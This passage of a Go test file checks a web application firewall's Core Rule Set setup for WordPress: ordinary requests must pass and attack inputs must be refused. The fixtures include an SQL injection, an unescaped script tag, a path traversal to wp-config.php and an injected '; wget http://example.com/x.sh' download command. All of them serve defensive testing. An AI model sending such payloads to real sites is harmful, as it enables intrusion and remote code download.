scriptInjection,
|
|
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
|
|
} {
|
|
target := path + "?q=" + attack
|
|
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// Nor is a page opened from them.
|
|
for _, attack := range []string{scriptTag, injection} {
|
|
referer := "Referer: https://example.com" + path + "?q=" + attack
|
|
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", referer, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
|
// REST API routes of a post and of the tags.
|
|
const (
|
|
wpLogin = "/wp-login.php"
|
|
wpComment = "/wp-comments-post.php"
|
|
wpAjax = "/wp-admin/admin-ajax.php"
|
|
wpPost = "/wp-json/wp/v2/posts/1"
|
|
wpTags = "/wp-json/wp/v2/tags"
|
|
)
|
|
|
|
// recordedRequest is a line of a file of recorded requests in testdata.
|
|
type recordedRequest struct {
|
|
Method string `json:"method"`
|
|
Target string `json:"target"`
|
|
Headers []string `json:"headers"`
|
|
Body string `json:"body"`
|
|
}
|
|
|
|
// recordedRequests returns the recorded ordinary requests in the file name
|
|
// in testdata, each with its body.
|
|
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|
t.Helper()
|
|
|
|
path := filepath.Join("testdata", name)
|
|
|
|
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
var requests []recordedRequest
|
|
|
|
for line := range strings.Lines(string(text)) {
|
|
if strings.HasPrefix(line, "#") {
|
|
continue
|
|
}
|
|
|
|
var r recordedRequest
|
|
|
|
err := json.Unmarshal([]byte(line), &r)
|
|
if err != nil {
|
|
t.Fatalf("%q: %v", line, err)
|
|
}
|
|
|
|
requests = append(requests, r)
|
|
}
|
|
|
|
return requests
|
|
}
|
|
|
|
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
|
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
|
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
|
})
|
|
}
|
|
|
|
// wordpressAttackTargets returns attack in a query parameter no exclusion
|
|
// names, and in each field whose searches and names skip some rules there.
|
|
func wordpressAttackTargets(attack string) []string {
|
|
return []string{
|
|
"/?id=" + attack,
|
|
wpLogin + "?id=" + attack,
|
|
"/wp-admin/admin-ajax.php?id=" + attack,
|
|
"/wp-json/wp/v2/posts?id=" + attack,
|
|
"/?s=" + attack,
|
|
"/index.php?s=" + attack,
|
|
"/page/2/?s=" + attack,
|
|
"/index.php/page/2/?s=" + attack,
|
|
"/wp-admin/edit.php?s=" + attack,
|
|
"/wp-admin/upload.php?s=" + attack,
|
|
"/wp-admin/plugin-install.php?s=" + attack,
|
|
"/wp-admin/edit-comments.php?s=" + attack,
|
|
"/wp-admin/users.php?s=" + attack,
|
|
"/wp-admin/plugins.php?s=" + attack,
|
|
"/wp-admin/edit-tags.php?s=" + attack,
|
|
"/wp-json/wp/v2/search?search=" + attack,
|
|
"/wp-json/wp/v2/posts?search=" + attack,
|
|
"/wp-json/wp/v2/tags?search=" + attack,
|
|
"/?rest_route=/wp/v2/search&search=" + attack,
|
|
"/wp-json/wp/v2/posts?slug=" + attack,
|
|
"/wp-json/wp/v2/tags?slug=" + attack,
|
|
"/?rest_route=/wp/v2/posts&slug=" + attack,
|
|
"/wp-json/wp/v2/block-directory/search?term=" + attack,
|
|
"/wp-admin/themes.php?search=" + attack,
|
|
"/wp-admin/theme-install.php?search=" + attack,
|
|
"/wp-admin/upload.php?search=" + attack,
|
|
"/wp-admin/admin-ajax.php?q=" + attack,
|
|
"/wp-admin/admin-ajax.php?term=" + attack,
|
|
"/wp-admin/edit.php?_wp_http_referer=" + attack,
|
|
"/wp-admin/upload.php?_wp_http_referer=" + attack,
|
|
"/?tag=" + attack,
|
|
"/index.php?tag=" + attack,
|
|
"/wp-admin/edit.php?tag=" + attack,
|
|
"/wp-admin/edit.php?category_name=" + attack,
|
|
"/wp-admin/plugin-editor.php?file=" + attack,
|
|
"/wp-admin/theme-editor.php?file=" + attack,
|
|
"/wp-admin/plugin-editor.php?plugin=" + attack,
|
|
"/wp-admin/plugins.php?plugin=" + attack,
|
|
"/wp-admin/update.php?plugin=" + attack,
|
|
"/wp-admin/admin.php?page=" + attack,
|
|
"/wp-admin/options-general.php?page=" + attack,
|
|
"/wp-admin/tools.php?page=" + attack,
|
|
"/wp-admin/site-editor.php?p=" + attack,
|
|
"/wp-admin/site-editor.php?postId=" + attack,
|
|
"/wp-admin/admin-ajax.php?slug=" + attack,
|
|
"/wp-json/wp-block-editor/v1/url-details?url=" + attack,
|
|
"/wp-json/oembed/1.0/proxy?url=" + attack,
|
|
"/?rest_route=/oembed/1.0/proxy&url=" + attack,
|
|
}
|
|
}
|
|
|
|
// wantWordPressRequestsPass checks that the recorded ordinary WordPress
|
|
// requests pass on otherHost, where they were recorded, while SWW_APPS lists
|
|
// only wordpress for it. They pass at the defaults, and those with a body
|
|
// pass while bodies up to 64 KiB are read too. Every app's fixes only switch
|
|
// checks off, so the requests pass with SWW_APPS unset too.
|
|
func wantWordPressRequestsPass(t *testing.T) {
|
|
t.Helper()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
apps := map[string][]string{otherHost: {wordpress}}
|
|
defaults := servingApps(t, apps)
|
|
bodies := shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
|
Apps: apps,
|
|
})
|
|
|
|
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
|
|
crsSets := []*coreruleset.CoreRuleSet{defaults}
|
|
if recorded.Body != "" {
|
|
crsSets = append(crsSets, bodies)
|
|
}
|
|
|
|
for _, crs := range crsSets {
|
|
got, _ := inspectBody(t, crs, r, recorded.Body)
|
|
if got.Score >= threshold {
|
|
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
|
|
}
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
wantWordPressRequestsPass(t)
|
|
|
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
|
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fwp-config.php",
|
|
scriptInjection,
|
|
} {
|
|
for _, target := range wordpressAttackTargets(attack) {
|
|
if got := inspect(t, defaults, get(target)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// In a body field no exclusion names, on the paths with exclusions.
|
|
body := "id=" + attack
|
|
for _, target := range []string{
|
|
wpLogin,
|
|
wpComment,
|
|
wpAjax,
|
|
"/wp-admin/post.php",
|
|
"/wp-admin/options.php",
|
|
} {
|
|
got, _ := inspectBody(t, bodies,
|
|
request{http.MethodPost, target, []string{formData}}, body)
|
|
if got.Score < threshold {
|
|
t.Errorf("POST %s %q let through: %+v", target, body, got)
|
|
}
|
|
}
|
|
|
|
// In the body fields that skip some rules.
|
|
posts := append(wordpressBodyFields(attack),
|
|
wordpressBodyField{wpComment, formData, "url=" + attack})
|
|
for _, p := range posts {
|
|
got, _ := inspectBody(t, bodies,
|
|
request{http.MethodPost, p.target, []string{p.contentType}}, p.body)
|
|
if got.Score < threshold {
|
|
t.Errorf("POST %s %q let through: %+v", p.target, p.body, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// wordpressBodyField is a POST to target that sends body, a field whose
|
|
// name skips some rules there, with the Content-Type header contentType.
|
|
type wordpressBodyField struct{ target, contentType, body string }
|
|
|
|
// wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to
|
|
// install and in each JSON field of a REST API save that skips some rules.
|
|
func wordpressBodyFields(encoded string) []wordpressBodyField {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
return []wordpressBodyField{
|
|
{wpAjax, formData, "action=install-plugin&slug=" + encoded},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)},
|
|
{wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)},
|
|
}
|
|
}
|
|
|
|
// wordpressWords returns words that ordinary WordPress names and searches
|
|
// hold, each with the rule it misfired on.
|
|
func wordpressWords() []struct {
|
|
value string
|
|
rule int
|
|
} {
|
|
return []struct {
|
|
value string
|
|
rule int
|
|
}{
|
|
{".htaccess", 930120},
|
|
{"powershell", 932120},
|
|
{"ls -la", 932250},
|
|
{"python3", 932260},
|
|
}
|
|
}
|
|
|
|
// wordpressBlock is the comment that starts every block of WordPress's
|
|
// HTML, which rule 941180 matches.
|
|
const wordpressBlock = "<!-- wp:paragraph -->"
|
|
|
|
// wordpressOverride is the header with which the block editor saves.
|
|
const wordpressOverride = "X-HTTP-Method-Override: PUT"
|
|
|
|
// wordpressRESTAddresses returns the four addresses of route on the REST
|
|
// API.
|
|
func wordpressRESTAddresses(route string) []string {
|
|
return []string{
|
|
"/wp-json" + route,
|
|
"/index.php/wp-json" + route,
|
|
"/index.php?rest_route=" + route,
|
|
"/?rest_route=" + route,
|
|
}
|
|
}
|
|
|
|
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
content := `{"content":"` + wordpressBlock + `"}`
|
|
|
|
for _, route := range []string{
|
|
"/wp/v2/posts/1",
|
|
"/wp/v2/posts/1/autosaves",
|
|
"/wp/v2/pages/2",
|
|
"/wp/v2/templates/twentytwentyfive//index",
|
|
"/wp/v2/template-parts/twentytwentyfive//header",
|
|
} {
|
|
for _, address := range wordpressRESTAddresses(route) {
|
|
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
|
|
wantBody(t, crs, r, content, coreruleset.Result{}, content)
|
|
}
|
|
}
|
|
|
|
// The routes that save something else keep the rules.
|
|
for _, route := range []string{
|
|
"/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings",
|
|
} {
|
|
for _, address := range wordpressRESTAddresses(route) {
|
|
r := request{http.MethodPost, address, []string{jsonBody}}
|
|
wantBody(t, crs, r, content, matched(941180), content)
|
|
}
|
|
}
|
|
|
|
// WordPress follows a route in the query over one in the path.
|
|
r := request{
|
|
http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments",
|
|
[]string{jsonBody},
|
|
}
|
|
wantBody(t, crs, r, content, matched(941180), content)
|
|
}
|
|
|
|
func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"),
|
|
matched(932260))
|
|
wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260))
|
|
wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"),
|
|
matched(932250))
|
|
wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"),
|
|
get("/wp-json/example/v1/things?search=powershell"), matched(932120))
|
|
wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"),
|
|
get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120))
|
|
wantChange(t, crs,
|
|
get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"),
|
|
get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120))
|
|
wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"),
|
|
get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260))
|
|
}
|
|
|
|
// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
|
|
// groups in wordpress.conf at one target of its group, against the same
|
|
// values in a field no group names, then one field at each other target of
|
|
// the group, then the names in the first group that skip fewer rules.
|
|
func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A page's address, repeating the search it came from. Rules 932235
|
|
// and 932260 match it, and only the fields that hold an address skip
|
|
// 932235.
|
|
const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, group := range []struct {
|
|
target string
|
|
fields []string
|
|
addressFields []string
|
|
}{
|
|
{
|
|
"/wp-admin/options.php?",
|
|
[]string{
|
|
"s", "search", "q", "term", "tag", "category_name", "plugin",
|
|
"checked%5B%5D", "theme", "stylesheet", "page",
|
|
},
|
|
[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
|
|
},
|
|
{"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil},
|
|
{"/?", []string{"s", "tag"}, nil},
|
|
} {
|
|
wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260))
|
|
|
|
for _, field := range group.fields {
|
|
wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235))
|
|
}
|
|
|
|
for _, field := range group.addressFields {
|
|
wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{})
|
|
}
|
|
|
|
for _, v := range wordpressWords() {
|
|
value := url.QueryEscape(v.value)
|
|
wantResult(t, crs, get(group.target+"id="+value), matched(v.rule))
|
|
|
|
for _, field := range slices.Concat(group.fields, group.addressFields) {
|
|
wantResult(t, crs, get(group.target+field+"="+value), coreruleset.Result{})
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, target := range []string{
|
|
"/wp-admin/term.php?s=python3",
|
|
wpLogin + "?s=python3",
|
|
"/index.php/wp-json/wp/v2/tags?slug=python3",
|
|
"/index.php?rest_route=/wp/v2/tags&slug=python3",
|
|
"/?rest_route=/wp/v2/tags&slug=python3",
|
|
"/wp-json/oembed/1.0/embed?url=python3",
|
|
"/?rest_route=/oembed/1.0/embed&url=python3",
|
|
"/index.php?tag=python3",
|
|
"/page/2/?tag=python3",
|
|
"/index.php/page/2/?s=python3",
|
|
} {
|
|
wantResult(t, crs, get(target), coreruleset.Result{})
|
|
}
|
|
|
|
// The names WordPress writes as slugs skip only 932120 and 932260.
|
|
for _, field := range []string{"p", "postId", "slug"} {
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 930120 || v.rule == 932250 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
target := "/wp-admin/options.php?" + field + "=" + url.QueryEscape(v.value)
|
|
wantResult(t, crs, get(target), want)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, target := range []string{
|
|
"/?s=",
|
|
"/page/2/?s=",
|
|
"/wp-admin/edit.php?s=",
|
|
"/wp-json/wp/v2/search?search=",
|
|
"/wp-admin/themes.php?search=",
|
|
"/wp-json/wp/v2/posts?slug=",
|
|
"/?rest_route=/wp/v2/posts&slug=",
|
|
"/wp-json/wp/v2/tags?url=",
|
|
"/wp-json/oembed/1.0/embed?url=",
|
|
"/?tag=",
|
|
"/wp-admin/edit.php?tag=",
|
|
"/wp-admin/admin-ajax.php?q=",
|
|
"/wp-admin/admin.php?page=",
|
|
"/wp-admin/options-general.php?page=",
|
|
"/wp-admin/tools.php?page=",
|
|
"/wp-admin/site-editor.php?p=",
|
|
"/wp-admin/site-editor.php?postId=",
|
|
"/wp-admin/admin-ajax.php?slug=",
|
|
} {
|
|
wantResult(t, crs, get(target+command), matched(932235))
|
|
}
|
|
|
|
bodies := readingBodiesUpTo64K(t)
|
|
|
|
for _, p := range wordpressBodyFields(command) {
|
|
r := request{http.MethodPost, p.target, []string{p.contentType}}
|
|
wantBody(t, bodies, r, p.body, matched(932235), p.body)
|
|
}
|
|
|
|
// The addresses of a link preview, an embed and a commenter's site keep
|
|
// 932260 too.
|
|
for _, target := range []string{
|
|
"/wp-json/wp-block-editor/v1/url-details?url=",
|
|
"/wp-json/oembed/1.0/proxy?url=",
|
|
} {
|
|
wantResult(t, crs, get(target+command), matched(932235, 932260))
|
|
}
|
|
|
|
comment := request{http.MethodPost, wpComment, []string{formData}}
|
|
wantBody(t, bodies, comment, "url="+command, matched(932235, 932260), "url="+command)
|
|
}
|
|
|
|
// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
|
|
// on one of its paths against the same value where no exclusion applies.
|
|
func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const elsewhere = "/example/things"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, tt := range []struct {
|
|
target string
|
|
rule int
|
|
}{
|
|
{"/page/2/?s=python3", 932260},
|
|
{"/page/2/?s=ls+-la", 932250},
|
|
{"/page/2/?s=powershell", 932120},
|
|
{"/index.php/page/2/?s=python3", 932260},
|
|
{"/?s=.htaccess", 930120},
|
|
{"/?s=wp-config.php", 930120},
|
|
{"/?s=.bashrc", 930120},
|
|
{"/page/2/?s=.htaccess", 930120},
|
|
{"/wp-admin/edit-comments.php?s=powershell", 932120},
|
|
{"/wp-admin/users.php?s=ls+-la", 932250},
|
|
{"/wp-admin/plugins.php?s=python3", 932260},
|
|
{"/wp-admin/edit-tags.php?s=python3", 932260},
|
|
{"/wp-admin/themes.php?search=powershell", 932120},
|
|
{"/wp-admin/theme-install.php?search=ls+-la", 932250},
|
|
{"/wp-admin/upload.php?search=python3", 932260},
|
|
{"/wp-admin/admin-ajax.php?q=powershell", 932120},
|
|
{"/wp-admin/admin-ajax.php?q=ls+-la", 932250},
|
|
{"/wp-admin/admin-ajax.php?q=python3", 932260},
|
|
{"/wp-admin/admin-ajax.php?term=powershell", 932120},
|
|
{"/wp-admin/admin-ajax.php?term=ls+-la", 932250},
|
|
{"/wp-admin/admin-ajax.php?term=python3", 932260},
|
|
{"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120},
|
|
{"/wp-admin/edit.php?_wp_http_referer=powershell", 932120},
|
|
{"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250},
|
|
{"/wp-admin/users.php?_wp_http_referer=python3", 932260},
|
|
{"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340},
|
|
{"/?tag=python3", 932260},
|
|
{"/index.php?tag=powershell", 932120},
|
|
{"/wp-admin/edit.php?tag=ls+-la", 932250},
|
|
{"/wp-admin/edit.php?category_name=python3", 932260},
|
|
{"/wp-admin/edit.php?category_name=powershell", 932120},
|
|
{"/wp-admin/edit.php?category_name=ls+-la", 932250},
|
|
{"/wp-admin/plugin-editor.php?file=install-script.sh", 932120},
|
|
{"/wp-admin/theme-editor.php?file=document.write.js", 941180},
|
|
{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
|
|
{"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
|
|
{"/wp-admin/update.php?plugin=docker-helper", 932260},
|
|
{"/wp-admin/admin.php?page=docker-helper", 932260},
|
|
{"/wp-admin/options-general.php?page=powershell-tools", 932120},
|
|
{"/wp-admin/tools.php?page=ls+-la", 932250},
|
|
{"/wp-admin/tools.php?page=.htaccess", 930120},
|
|
{"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260},
|
|
{"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120},
|
|
{"/wp-admin/admin-ajax.php?slug=docker-helper", 932260},
|
|
{"/wp-json/wp-block-editor/v1/url-details?url=" +
|
|
"http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120},
|
|
{"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120},
|
|
} {
|
|
_, query, _ := strings.Cut(tt.target, "?")
|
|
wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule))
|
|
}
|
|
}
|
|
|
|
// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and
|
|
// the header X-HTTP-Method-Override at the REST API's addresses.
|
|
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
// Any route of WordPress's own API, at each address.
|
|
for _, route := range []string{
|
|
"/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media",
|
|
"/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns",
|
|
} {
|
|
wantChange(t, crs, get("/wp-json"+route+"?search=python3"),
|
|
get("/wp-json/example/v1/things?search=python3"), matched(932260))
|
|
wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"),
|
|
get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260))
|
|
wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"),
|
|
get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120))
|
|
}
|
|
|
|
const directory = "/wp-json/wp/v2/block-directory/search"
|
|
|
|
wantChange(t, crs, get(directory+"?term=python3"),
|
|
get("/wp-json/example/v1/things?term=python3"), matched(932260))
|
|
wantChange(t, crs, get(directory+"?term=powershell"),
|
|
get("/wp-json/example/v1/things?term=powershell"), matched(932120))
|
|
wantChange(t, crs, get(directory+"?term=ls+-la"),
|
|
get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))
|
|
|
|
// The block editor's link previews and embeds: url skips only 930120 and
|
|
// 932120.
|
|
for _, target := range []string{
|
|
"/wp-json/wp-block-editor/v1/url-details?url=",
|
|
"/?rest_route=/wp-block-editor/v1/url-details&url=",
|
|
"/wp-json/oembed/1.0/proxy?url=",
|
|
"/?rest_route=/oembed/1.0/proxy&url=",
|
|
} {
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 932250 || v.rule == 932260 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
wantResult(t, crs, get(target+url.QueryEscape(v.value)), want)
|
|
}
|
|
}
|
|
|
|
// The header X-HTTP-Method-Override at the address on the site root,
|
|
// and off the REST API.
|
|
headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
|
|
wantChange(t, crs,
|
|
request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers},
|
|
request{http.MethodPost, "/?p=1", headers}, matched(920450))
|
|
}
|
|
|
|
func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120))
|
|
wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120))
|
|
wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250))
|
|
wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"),
|
|
matched(941100, 941160))
|
|
wantResult(t, crs,
|
|
get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
|
|
matched(941180))
|
|
wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260))
|
|
wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120))
|
|
}
|
|
|
|
// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON
|
|
// fields of a REST API save, a plugin to install and a commenter's address,
|
|
// against the same values in another field and off their paths.
|
|
func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
|
|
for _, v := range wordpressWords() {
|
|
for _, field := range []string{"title", "excerpt", "name"} {
|
|
body := fmt.Sprintf(`{%q:%q}`, field, v.value)
|
|
|
|
for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") {
|
|
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
|
|
wantBody(t, crs, r, body, coreruleset.Result{}, body)
|
|
}
|
|
|
|
r := request{http.MethodPost, "/wp-json/example/v1/things", []string{jsonBody}}
|
|
wantBody(t, crs, r, body, matched(v.rule), body)
|
|
}
|
|
|
|
other := fmt.Sprintf(`{"description":%q}`, v.value)
|
|
r := request{http.MethodPost, wpTags, []string{jsonBody}}
|
|
wantBody(t, crs, r, other, matched(v.rule), other)
|
|
}
|
|
|
|
// A post's slug and a plugin to install skip only 932120 and 932260.
|
|
post := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}
|
|
install := request{http.MethodPost, wpAjax, []string{formData}}
|
|
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 930120 || v.rule == 932250 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
slug := fmt.Sprintf(`{"slug":%q}`, v.value)
|
|
wantBody(t, crs, post, slug, want, slug)
|
|
|
|
plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value)
|
|
wantBody(t, crs, install, plugin, want, plugin)
|
|
}
|
|
|
|
comment := request{http.MethodPost, wpComment, []string{formData}}
|
|
elsewhere := request{http.MethodPost, "/example/things", []string{formData}}
|
|
|
|
// A commenter's address skips the two rules that refused an address.
|
|
for _, v := range []struct {
|
|
address string
|
|
rule int
|
|
}{
|
|
{"http://blog.example/.htaccess", 930120},
|
|
{"http://blog.example/powershell-basics/", 932120},
|
|
} {
|
|
body := "url=" + url.QueryEscape(v.address)
|
|
wantBody(t, crs, comment, body, coreruleset.Result{}, body)
|
|
wantBody(t, crs, elsewhere, body, matched(v.rule), body)
|
|
|
|
author := "author=" + url.QueryEscape(v.address)
|
|
wantBody(t, crs, comment, author, matched(v.rule), author)
|
|
}
|
|
|
|
// The rules on Unix commands keep it.
|
|
wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3")
|
|
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
|
}
|
|
|
|
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
offREST = "/api/posts/1"
|
|
length = "Content-Length: 2"
|
|
)
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
saving := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}
|
|
|
|
content := `{"content":"` + wordpressBlock + `"}`
|
|
wantBody(t, crs, saving, content, coreruleset.Result{}, content)
|
|
|
|
// The other fields of the post keep the rule, and so does the same field
|
|
// off the REST API.
|
|
title := `{"title":"` + wordpressBlock + `"}`
|
|
wantBody(t, crs, saving, title, matched(941180), title)
|
|
wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content,
|
|
matched(941180), content)
|
|
|
|
// The header X-HTTP-Method-Override is refused off the REST API.
|
|
defaults := atDefaults(t)
|
|
wantResult(t, defaults,
|
|
request{http.MethodPost, wpPost, []string{jsonBody, length, wordpressOverride}},
|
|
coreruleset.Result{})
|
|
wantResult(t, defaults,
|
|
request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}},
|
|
matched(920450))
|
|
|
|
// Signing in: pwd alone skips the list of system files.
|
|
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
|
|
|
body := "log=a&pwd=b%20%2Fetc%2Fhosts"
|
|
wantBody(t, crs, signIn, body, coreruleset.Result{}, body)
|
|
|
|
body = "log=b%20%2Fetc%2Fhosts&pwd=a"
|
|
wantBody(t, crs, signIn, body, matched(930120), body)
|
|
}
|
|
|
|
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
|
|
const bodyLimit = 8 << 10
|
|
|
|
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
|
const (
|
|
formData = "Content-Type: application/x-www-form-urlencoded"
|
|
multipart = "Content-Type: multipart/form-data; boundary=b"
|
|
jsonBody = "Content-Type: application/json"
|
|
xmlBody = "Content-Type: application/xml"
|
|
)
|
|
|
|
// injection is an SQL injection, which rule 942100 matches.
|
|
const injection = "1' OR '1'='1"
|
|
|
|
// scriptTag is a script injection, not escaped.
|
|
const scriptTag = "<script>alert(1)</script>"
|
|
|
|
// readingBodies returns the Core Rule Set as sww runs it by
|
|
// default, but reading bodies up to bodyLimit.
|
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
})
|
|
}
|
|
|
|
// post is a POST request for / with a body of the type contentType, a
|
|
// Content-Type header, gives, and headers besides.
|
|
func post(contentType string, headers ...string) request {
|
|
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
|
|
}
|
|
|
|
// field is a part of a multipart body: the field name, holding value.
|
|
func field(name, value string) string {
|
|
